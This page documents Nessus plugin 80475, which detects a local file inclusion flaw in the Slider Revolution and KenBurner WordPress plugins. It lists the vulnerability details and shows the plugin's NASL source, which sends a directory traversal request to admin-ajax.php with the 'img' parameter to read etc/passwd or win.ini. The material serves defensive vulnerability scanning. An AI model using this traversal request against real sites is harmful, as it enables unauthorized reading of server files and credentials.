Multiple Slider Plugins for WordPress 'img' Parameter Local File Inclusion Vulnerability - Nessus

Medium   Plugin ID: 80475

This page contains detailed information about the Multiple Slider Plugins for WordPress 'img' Parameter Local File Inclusion Vulnerability Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 80475
Name: Multiple Slider Plugins for WordPress 'img' Parameter Local File Inclusion Vulnerability
Filename: wordpress_slider_plugins_file_disclosure.nasl
Vulnerability Published: 2014-07-28
This Plugin Published: 2015-01-13
Last Modification Time: 2021-01-19
Plugin Version: 1.8
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: os_fingerprint.nasl, wordpress_detect.nasl
Required KB Items [?]: installed_sw/WordPress, www/PHP

Vulnerability Information


Severity: Medium
Vulnerability Published: 2014-07-28
Patch Published: 2014-02-01
CVE [?]: N/A
CPE [?]: cpe:/a:wordpress:wordpress

Synopsis

The remote web server contains a PHP script that is affected by a local file inclusion vulnerability.

Description

A Slider plugin for WordPress hosted on the remote web server is affected by a local file inclusion vulnerability due to a failure to properly sanitize user-supplied input to the 'img' parameter of the 'image_view.class.php' script. This allows an unauthenticated, remote attacker to read arbitrary files by forming a GET request containing directory traversal sequences.

Slider plugins known to be affected are :

- Responsive KenBurner Slider - Slider Revolution Responsive

Themes known to include affected Slider plugins are :

- Avada Theme - Centum Theme - CuckooTap Theme - IncredibleWP Theme - Medicate Theme - Striking Theme - Ultimatum Theme

Solution

Upgrade the vulnerable plugins to the updated versions below :

- Responsive KenBurner Slider version 1.8 - Slider Revolution Responsive version 4.2

Public Exploits


Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Exploit-DB)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Multiple Slider Plugins for WordPress 'img' Parameter Local File Inclusion Vulnerability vulnerability:

  1. Exploit-DB: exploits/php/webapps/34511.txt
    [EDB-34511: Mulitple WordPress Themes - 'admin-ajax.php?img' Arbitrary File Download]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:P/I:N/A:N/E:POC/RL:U/RC:ND
CVSS Base Score:5.0 (Medium)
Impact Subscore:2.9
Exploitability Subscore:10.0
CVSS Temporal Score:4.5 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:4.5 (Medium)

Go back to menu.

Plugin Source


This is the wordpress_slider_plugins_file_disclosure.nasl nessus plugin source code. This script is Copyright (C) 2015-2021 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(80475);
  script_version("1.8");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_bugtraq_id(68942);
  script_xref(name:"EDB-ID", value:"34511");

  script_name(english:"Multiple Slider Plugins for WordPress 'img' Parameter Local File Inclusion Vulnerability");
  script_summary(english:"Attempts to view the wp-config.php file.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that is affected by a
local file inclusion vulnerability.");
  script_set_attribute(attribute:"description", value:
"A Slider plugin for WordPress hosted on the remote web server is
affected by a local file inclusion vulnerability due to a failure to
properly sanitize user-supplied input to the 'img' parameter of the
'image_view.class.php' script. This allows an unauthenticated, remote
attacker to read arbitrary files by forming a GET request containing
directory traversal sequences.

Slider plugins known to be affected are :

  - Responsive KenBurner Slider
  - Slider Revolution Responsive

Themes known to include affected Slider plugins are :

  - Avada Theme
  - Centum Theme
  - CuckooTap Theme
  - IncredibleWP Theme
  - Medicate Theme
  - Striking Theme
  - Ultimatum Theme");
  script_set_attribute(attribute:"see_also", value:"http://marketblog.envato.com/news/plugin-vulnerability/");
  script_set_attribute(attribute:"see_also", value:"http://www.themepunch.com/home/plugin-update-information/");
  # http://blog.sucuri.net/2014/09/slider-revolution-plugin-critical-vulnerability-being-exploited.html
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?9dc3ba1c");

  script_set_attribute(attribute:"solution", value:
"Upgrade the vulnerable plugins to the updated versions below :

  - Responsive KenBurner Slider version 1.8
    - Slider Revolution Responsive version 4.2");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:U/RC:ND");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2014/07/28");
  script_set_attribute(attribute:"patch_publication_date", value:"2014/02/01");
  script_set_attribute(attribute:"plugin_publication_date", value:"2015/01/13");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:wordpress:wordpress");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2015-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("wordpress_detect.nasl", "os_fingerprint.nasl");
  script_require_keys("installed_sw/WordPress", "www/PHP");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("data_protection.inc");

app = "WordPress";
get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:80, php:TRUE);

install = get_single_install(
  app_name : app,
  port     : port
);

dir = install['path'];
install_url = build_url(port:port, qs:dir);

vuln_plugins = make_list(
  "Responsive KenBurner Slider",
  "Slider Revolution Responsive"
);

vuln_plugin = branch(vuln_plugins);

vuln_plugins_and_inst_urls = make_array(
  "Responsive KenBurner Slider", "wp-content/plugins/kbslider/js/kb_admin.js",
  "Slider Revolution Responsive", "wp-content/plugins/revslider/js/rev_admin.js"
);
vuln_plugins_and_inst_checks = make_array(
  "Responsive KenBurner Slider", make_list("var KBSliderAdmin", "kenburn_type_1"),
  "Slider Revolution Responsive", make_list("var RevSliverAdmin", "UniteAdminRev.ajax")
);
vuln_plugins_and_vuln_urls = make_array(
  "Responsive KenBurner Slider", "wp-admin/admin-ajax.php?action=kbslider_show_image&img=",
  "Slider Revolution Responsive", "wp-admin/admin-ajax.php?action=revslider_show_image&img="
);

# Check KB first
installed = get_kb_item("www/"+port+"/webapp_ext/"+vuln_plugin+" under "+dir);

if (!installed)
{
  checks = make_array();
  c_url = vuln_plugins_and_inst_urls[vuln_plugin];
  checks[c_url][0] = vuln_plugins_and_inst_checks[vuln_plugin];

  # Ensure plugin is installed
  installed = check_webapp_ext(
    checks : checks,
    dir    : dir + "/",
    port   : port,
    ext    : vuln_plugin
  );
}
if (!installed)
  audit(AUDIT_WEB_APP_EXT_NOT_INST, app, install_url, vuln_plugin + " plugin");

# Determine what to look for.
os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
{
  if ("Windows" >< os) files = make_list('windows/win.ini', 'winnt/win.ini');
  else files = make_list('etc/passwd');
}
else files = make_list('etc/passwd', 'windows/win.ini', 'winnt/win.ini');

file_pats = make_array();
file_pats['etc/passwd'] = "root:.*:0:[01]:";
file_pats['winnt/win.ini'] = "^\[[a-zA-Z]+\]|^; for 16-bit app support";
file_pats['windows/win.ini'] = "^\[[a-zA-Z]+\]|^; for 16-bit app support";

vuln = FALSE;
foreach file (files)
{
  attack =  mult_str(str:"../", nb:12);
  url = vuln_plugins_and_vuln_urls[vuln_plugin] + attack + file;

  res = http_send_recv3(
    method       : "GET",
    item         : dir + "/" + url,
    port         : port,
    exit_on_fail : TRUE,
    follow_redirect: 1
  );
  body = res[2];

  # Check for errors
  error_returned = FALSE;
  if (
    !isnull(body) &&
    (
      # magic_quotes_gpc
      (attack + '\\0/wp-load.php): failed to open stream:' >< body) ||
      (attack + '\\0/wp-load.php) [function.' >< body) ||
      (attack + '\\0/wp-load.php'+") [<a href='function." >< body) ||
      # open_basedir
      ("Failed opening required '" + attack >< body) ||
      ("open_basedir restriction in effect. File(" + attack >< body)
    )
  ) error_returned = TRUE;
  pat = file_pats[file];

  if ((body =~ pat) || (error_returned))
  {
    attack_req = install_url + url;
    vuln = TRUE;
    break;
  }
}
if (!vuln)
  audit(AUDIT_WEB_APP_EXT_NOT_AFFECTED, app, install_url, vuln_plugin + " plugin");

line_limit = 10;
if (error_returned)
{
  output = res[2];
  output = data_protection::redact_etc_passwd(output:output);
  snip =  crap(data:"-", length:30)+' snip '+ crap(data:"-", length:30);
  report =
    '\n' + 'Nessus was not able to exploit the issue, but was able to verify it'+
    '\n' + 'exists by examining the error message returned from the following' +
    '\n' + 'request :' +
    '\n' +
    '\n' + attack_req +
    '\n' +
    '\n' + snip +
    '\n' + beginning_of_response(resp:output, max_lines:line_limit) +
    '\n' + snip +
    '\n';
  security_warning(port:port, extra:report);
  exit(0);
}
else
{
  output = body;
  output = data_protection::redact_etc_passwd(output:output);
  security_report_v4(
    port        : port,
    severity    : SECURITY_WARNING,
    file        : file,
    line_limit  : line_limit,
    request     : make_list(attack_req),
    output      : chomp(output),
    attach_type : 'text/plain'
  );
}

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/wordpress_slider_plugins_file_disclosure.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\wordpress_slider_plugins_file_disclosure.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/wordpress_slider_plugins_file_disclosure.nasl

Go back to menu.

How to Run


Here is how to run the Multiple Slider Plugins for WordPress 'img' Parameter Local File Inclusion Vulnerability as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select Multiple Slider Plugins for WordPress 'img' Parameter Local File Inclusion Vulnerability plugin ID 80475.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl wordpress_slider_plugins_file_disclosure.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a wordpress_slider_plugins_file_disclosure.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - wordpress_slider_plugins_file_disclosure.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state wordpress_slider_plugins_file_disclosure.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 44937 - Multiple Adobe Products XML External Entity (XXE) Injection (APSB10-05)
  • 11748 - Multiple Dangerous CGI Script Detection
  • 10176 - Multiple Vendor phf CGI Arbitrary Command Execution
  • 10282 - Multiple Vendor test-cgi Arbitrary File Access
  • 49217 - Multiple Switch Vendors '__super' Account Backdoor
  • 49003 - Multiple Vulnerabilities in the IOS FTP Server
  • 49017 - Multiple Cisco Products Vulnerable to DNS Cache Poisoning Attacks
  • 139545 - Multiple Vulnerabilities in Treck IP Stack Affecting Cisco Products: June 2020 (cisco-sa-treck-ip-stack-JyBQ5GyC)
  • 33447 - Multiple Vendor DNS Query ID Field Prediction Cache Poisoning
  • 11197 - Multiple Ethernet Driver Frame Padding Information Disclosure (Etherleak)
  • 10821 - Multiple FTPD glob Command Arbitrary Command Execution
  • 10084 - Multiple FTP Server Command Handling Overflow
  • 123520 - Multiple Command Injection Vulnerabilities in Grandstream Products
  • 124173 - Multiple Command Injection Vulnerabilities in Grandstream Products
  • 10930 - Multiple Web Server on Windows MS/DOS Device Request Remote DOS
  • 11337 - Multiple Linux rpc.mountd Remote Overflow
  • 10249 - Multiple Mail Server EXPN/VRFY Information Disclosure
  • 40449 - Multiple Vendor HMAC Authentication SNMPv3 Authentication Bypass
  • 11136 - Multiple OS /bin/login Remote Overflow
  • 31683 - Multiple Vendor NIS rpc.ypupdated YP Map Update Arbitrary Remote Command Execution

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file wordpress_slider_plugins_file_disclosure.nasl version 1.8. For more plugins, visit the Nessus Plugin Library.

Go back to menu.